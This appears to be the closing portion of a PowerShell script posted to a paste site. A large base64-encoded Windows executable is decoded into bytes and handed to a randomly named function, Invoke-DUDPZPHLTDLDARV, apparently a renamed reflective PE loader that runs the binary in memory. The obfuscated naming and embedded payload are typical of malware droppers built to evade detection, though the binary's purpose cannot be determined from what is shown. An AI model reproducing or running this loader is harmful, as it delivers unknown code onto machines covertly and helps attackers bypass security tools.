AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAASAEAAHUwiDCjMLow6TD5MA0xPDFMMWgxhzHaMfUx/DEEMgkyDjITMisyODI/MkcyTDJRMlYybjKJMp8ytjLRMugyAzMaMzczoTOrM7UzITQpNDI0RzRTNF00ZTRtNHU0fTSFNI00lTSdNKU0rTS1NL00xTTNNNU03TQ0NT41ezWYNbI1zDXmNQA2GjY0NlE2bDaHNqE2wTbbNvY2EDcyN283fzePN6M3ODhIOFI4YjhsOHY4gDiQOKA4qji0OOM46Dg4OUw5VjlpOXM5fTmQOZo5rTm3Oco51DnnOQY6EDojOkE6Wjr+OhQ7JTs7O2k7nDujO6s7tDu9O8Y7zzvYO+E76jvzO/w7BTwOPBc8Lzw0PEU8UjxlPG08izzePL49az57PoU+kT6XPp0+oz6pPq8+tT67PsE+xz7NPtM+4T71Psc/ACAAALQAAACHMJ8wpjC6MOEw6TD3ME4xpDG4Mcox1zHjMQwyIjI0Mj8ySjJPMmkyljJ8NIk0ljSkNLw03DT0NCM1MzVDNWk1izWxNRM2OTYBN1A3ZzfCN/E3Azg4OFk4lDimONg45Dj5OCc5PDlEOUo5Yzl0OY45oTmsObI5zDkMOik6kDroOl479DsYPFM8XTxmPII8sjy9PMM80TzYPN885jzzPAw9HT21PVQ/aT/ZP+k/ADAAAPwAAAAHMG8wejDXMBQxHDEqMUUxSjFQMQcyPTJEMk8yVTJdMq8yuTLBMscyzTLTMvAy9zIQMxczHTMqMzEzPDNaM3kziDO9M84zAjQKNBw0YTR0NIE0jjS3NOU0DzUtNU81ojX0NaE2FzciNzI3PDdEN1Y3aDdwN5M3oDeoN683uDfVN144fTihOL44yDjXOOE45zjxOA45JjlFOVg5ajlyOXs5gDmFOak5tjn4OQc6JjotOkQ6fDqBOpM6rTq2OuE6+DoUOzU7WTuNO7A7vjvpO/M7NDxqPMg86jwLPSo9Rj1mPdE97D0OPlM+cD6PPlY/sD++PwAAAEAAAAwBAABLMHAwozCsMNUw5DACMSQxLzFfMYUxnDGuMe0xADIgMj8ybDJ7MoQyjTKWMp8yvzLdMvUyFjNSM1ozYTOAM9wzOzRaNHo0xzTkNPw0FjWHNaU1MTZGNl02cDZ8No82mDajNsA20zbcNug28DYNN4830zfdNwI4EjgbOCI4LDhNOGo4eDiLOJk4qziwOLo4vzjFONA46TjQOdk5FTomOjE6QTpSOmo6iDqYOqE6rjq0Ors60TriOvM6HDsnOzs7UDtVO2E7ajt0O347iDuOO5c7nTuoO7M7wjsYPCY8NDw7PJ08qzzSPOw88jw3PTw9WT2MPek9Aj4wPvA+CT8YP0Q/1T8AAABQAADgAAAAYjCWML8w4DBvMZwxwTHbMfIxFzIjMj4yXjKuMrUyxDLIMg4zKjMvMzkzWDNsM3gzoDPoM/4zCTQrNEc0ZjSgNMM07jR+NZk1tTW6NcI1DTYnNk82ZTaMNqY2tzYWNxw3IjcyN0U3SzdXN2c3bTeBN6w30TfaN+c3+TcDOBA4ITgsOEY4Zzj4Of45CDoOOiE6ejqTOrE66ToCO087VjtbO2U7azuDO4k7szu5O/I7+DscPCc8MjxZPGg8ljycPKI8qDzBPOI8VD1kPYg9rT3gPQc+ST5yPgAAAGAAAEQAAAC+NOI0BTYZNrI61DoAOwc7HzswOzk7gz0gPis+Pz7TPtg+6D7tPv0+Aj8SPxc/Jz8sPzw/Qj9fP5g/0T8AcAAAqAAAABUwTjCTMMQwvjHIMdIx3DHjMeox8TH4MSkyNTI8MkMySjJRMlgyHzNYM5EzyjMDNDw0kjS9NPg0UzWiNR02NzZ9Ns42AjexN+E36zcEOB84YjjzOAI5SzlsOYU5njnAOTM6WDqOOrE6wjoeO0w7ZjvfOwU8FDxYPIA8szzZPG49kj3lPfA9Ej4+Pm8+fD6FPqM+yz7xPgo/MT9YP2E/aD8AgAAA1AAAAMkz0DMANOw29jYDNw03KjcxNz43SzdpN3A3fzeYN6c3ujfBN8s3/DcGOBI4Hzg8OEM4UDhaOHs4hTiROKE4rji1OMI4zjjpOPA4/TgHOSE5Kzk4OUU5YzltOXk5kjmhObQ5uznFOfM5CTocOjE6XDpyOoY6lTrCOtc66zr9Oic7PTtRO2M7GzwyPEY8Ujx5PI48ozy0PMA87zxQPWc9ez2HPZc91z3sPf09CT45PpE+oz66Ps4+3T4fPzA/QD9PP4w/nT+uP70/9T8AAACgAAAMAAAArzsAAACwAAAMAAAAbTeOOADAAAAQAAAAHzRCNl42AAAAAAEAFAAAAEwyUDJUMlgyXDJgMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
Invoke-DUDPZPHLTDLDARV -PEBytes $PEBytes

}
close fullscreen
Login or Register to edit or fork this paste. It's free.